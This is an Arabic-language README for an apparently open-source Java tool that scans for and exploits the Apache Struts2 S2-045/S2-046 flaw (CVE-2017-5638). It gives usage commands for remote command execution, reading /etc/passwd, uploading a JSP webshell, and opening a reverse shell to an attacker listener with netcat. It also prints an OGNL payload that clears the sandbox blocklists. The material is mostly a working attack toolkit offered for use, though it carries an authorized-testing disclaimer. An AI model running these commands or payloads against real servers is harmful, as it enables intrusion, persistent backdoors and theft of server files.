
أداة كشف واستغلال ثغرات Struts2 S2-045/S2-046 CVE-2017-5638
أداة Java خالصة لاكتشاف واستغلال ثغرات Struts2 S2-045 / S2-046 (CVE-2017-5638). تغطي وحدة الاكتشاف ثغرتي S2-045 / S2-046، بينما توفر وحدة الاستغلال قدرات تنفيذ الأوامر، إدارة الملفات، جمع المعلومات، شل تفاعلي، شل عكسي، رفع Webshell وغيرها.
إخلاء مسؤولية: هذه الأداة مخصصة فقط للاختبارات الأمنية المصرح بها، وأبحاث الثغرات، والأغراض التعليمية. يُحظر تمامًا استخدامها لأغراض غير قانونية غير مصرح بها، ويتحمل المستخدم كامل المسؤولية القانونية.
| الوحدة | الأمر الفرعي | الوصف |
|---|
| اكتشاف الثغرات | scan | اكتشاف S2-045 / S2-046 (تحقق رياضي + علامة UUID) |
| فحص جماعي | batch | فحص جماعي لأهداف متعددة، مع إخراج ملخص وتقرير JSON |
| تنفيذ الأوامر | exec | تنفيذ أوامر نظام عشوائية + عرض الناتج (تكيف تلقائي مع Win/Linux) |
| شل تفاعلي | shell | تفاعل مستمر، مع حفظ مسار cd و أوامر مدمجة pwd/webroot/os |
| رفع ملفات | upload | كتابة مباشرة عبر OGNL (ملفات صغيرة) / كتابة مقسمة عبر الأوامر (ملفات كبيرة) |
| تنزيل ملفات | download | تنزيل بتشفير Base64 (آمن للبيانات الثنائية) |
| جذر الويب | getpath | الحصول على مسار النشر الفعلي لتطبيق الويب |
| معلومات النظام | sysinfo | معلومات نظام التشغيل / المستخدم / النواة / دليل العمل |
| شل عكسي | revshell | شل عكسي بضغطة واحدة لـ bash / PowerShell |
| رفع Webshell | webshell | إنشاء ورفع JSP Webshell (بنمط ?CMD= نصي) |
| تصدير التقارير | scan -r | تقارير JSON / HTML |
يمكن لوظيفة التنزيل قراءة أي ملف على الخادم (مثل
/etc/shadow)، يُرجى استخدامها فقط في الاختبارات المصرح بها.
:: نفّذ في دليل المشروع
.\build.bat
في PowerShell يجب إضافة البادئة
.\؛ في cmd يمكن تشغيلbuild.batمباشرة. build.bat مسؤول فقط عن البناء، ولا يرسل أي طلبات شبكة أو يقوم بأي فحص. بعد اكتمال البناء تبقى النافذة مفتوحة وتدخل جلسة cmd (يمكن تشغيل أوامر الأداة مباشرة، وأدخلexitللإغلاق). إذا كانت بيئتك لا تسمح بالكتابة إلى مستودع Maven الافتراضي، يمكنك أولاً تعيين متغير البيئةM2_REPOإلى دليل قابل للكتابة.
الناتج: target\s2tool.jar (fat-jar).
لنظامي Linux/Mac يمكن الرجوع إلى
build.sh
# 1. اكتشاف الثغرات
java -jar s2tool.jar scan http://target/action
# 2. اكتشاف + تصدير تقرير JSON/HTML
java -jar s2tool.jar scan http://target/action -r both
# 3. تنفيذ الأوامر
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. شل تفاعلي
java -jar s2tool.jar shell http://target/action
# 5. الحصول على جذر الويب / معلومات النظام
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. رفع / تنزيل الملفات
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. رفع Webshell بضغطة واحدة (بنمط ?CMD= نصي)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# الوصول: http://target/shell.jsp?CMD=whoami
# 8. شل عكسي (استمع أولاً على جهاز المهاجم: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. فحص جماعي
java -jar s2tool.jar batch targets.txt -r json
# سطور التعليقات تبدأ بـ # (يتم تجاهلها تلقائيًا)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
نطاق الإصدارات الرسمي (كلا الثغرتين وفقًا للإعلان الرسمي من Apache، لتقييم ما إذا كان الهدف متأثرًا):
| الثغرة | CVE | الإصدارات المتأثرة (الإصدارات المعرضة للخطر) | إصدارات الإصلاح (الإصدارات المصححة) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31 و 2.5 ~ 2.5.10 | 2.3.32 أو 2.5.10.1 فما فوق |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31 و 2.5 ~ 2.5.10 | 2.3.32 أو 2.5.10.1 فما فوق |
هذه الأداة لا تعتمد على تحديد الإصدار، بل تحدد وجود الثغرة مباشرة من خلال نتائج فحص الـ Payload، لأن تحديد الإصدار غير موثوق (العديد من المواقع تخفي رقم الإصدار). الجدول أعلاه مرجع فقط لتقييمك اليدوي، ولا يؤثر على منطق اكتشاف الأداة.
بالنسبة لـ S2-046، تدعم الأداة مساري اكتشاف: حقن البايت الفارغ في filename ومسار Content-Type ذو السبب الجذري نفسه.
مبدأ الثغرة:
Content-Type؛ S2-046: filename في Content-Disposition) في رسالة الخطأ،
ويتم تقييم OGNL لرسالة الخطأ عبر معالجة نصوص التدويل في Struts2 (TextParseUtil.translateVariables)(#nike='multipart/form-data') // تمويه Content-Type، لاجتياز فحص contains
(#[email protected]@DEFAULT_MEMBER_ACCESS) // الحصول على أعلى صلاحيات MemberAccess
(#_memberAccess?(#_memberAccess=#dm): // الإصدارات القديمة: استبدال مباشر
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // مسح قائمة حظر أسماء الحزم
(#ognlUtil.getExcludedClasses().clear()) // مسح قائمة حظر الفئات
(#context.setMemberAccess(#dm)))) // الإصدارات الأحدث: مسح القوائم ثم الاستبدال
اختبار فعلي: على Struts2 2.3.30، النسخة المبسطة (فقط
setMemberAccess) لا يمكنها تجاوز الصندوق الرملي، يجب استخدام النسخة الكاملة (بما في ذلك مسار مسح قوائم OgnlUtil).
| التقنية | المبدأ | الوصف |
|---|---|---|
| التحقق الرياضي | تنفيذ OGNL لـ 88888888-23333+1222، وجود 88866777 في الاستجابة يعني وجود الثغرة | صيغة POC عامة |
| علامة UUID | حقن UUID عشوائي وعرضه في جسم الاستجابة | دقة عالية، غير متأثر بتأخير الشبكة |
| كشف التأخير | فرق زمني Thread.sleep(6000) (فقط كخيار احتياطي لـ S2-045 بدون عرض ناتج) | العتبة >3.6s |
قاعدة الحكم: إذا تحقق التحقق الرياضي أو علامة UUID → تأكيد الوجود؛ إذا تحقق التأخير فقط → اشتباه بالوجود؛ إذا لم يتحقق أي منها → غير موجود.
struts2-vuln-tool/
├── pom.xml # بناء Maven (تغليف shade لـ fat-jar)
├── build.bat / build.sh # سكربتات البناء (تم التحقق على Windows / مرجع Linux)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # نقطة الدخول الرئيسية (Picocli CLI)
│ ├── core/ # المحرك الأساسي: عميل HTTP / بناء Payload / تحليل الاستجابة / تحليل الأهداف
│ ├── plugins/ # بنية إضافات الثغرات (نقاط التوسعة)
│ │ └── impl/ # إضافات اكتشاف S2_045 / S2_046
│ ├── modules/ # الوحدات الوظيفية: جدولة الاكتشاف / التعرف على البصمة / تنفيذ الأوامر / إدارة الملفات / Shell وغيرها
│ ├── report/ # توليد التقارير (وحدة التحكم / JSON / HTML)
│ └── utils/ # أدوات السجلات
├── src/main/resources/ # إعدادات السجلات / مرجع Payload
└── src/test/ # اختبارات JUnit
مقالات مبدأ الثغرة والتقنيات:
المشاريع مفتوحة المصدر المرجعية (تمت الاستعانة بأفكار و Payload من المستودعات التالية أثناء تطوير هذا المشروع):
مخصص فقط للاختبارات الأمنية المصرح بها وأغراض التعلم والبحث.
يُحظر تمامًا استخدامه لأغراض غير قانونية غير مصرح بها، ويتحمل المستخدم كامل المسؤولية القانونية.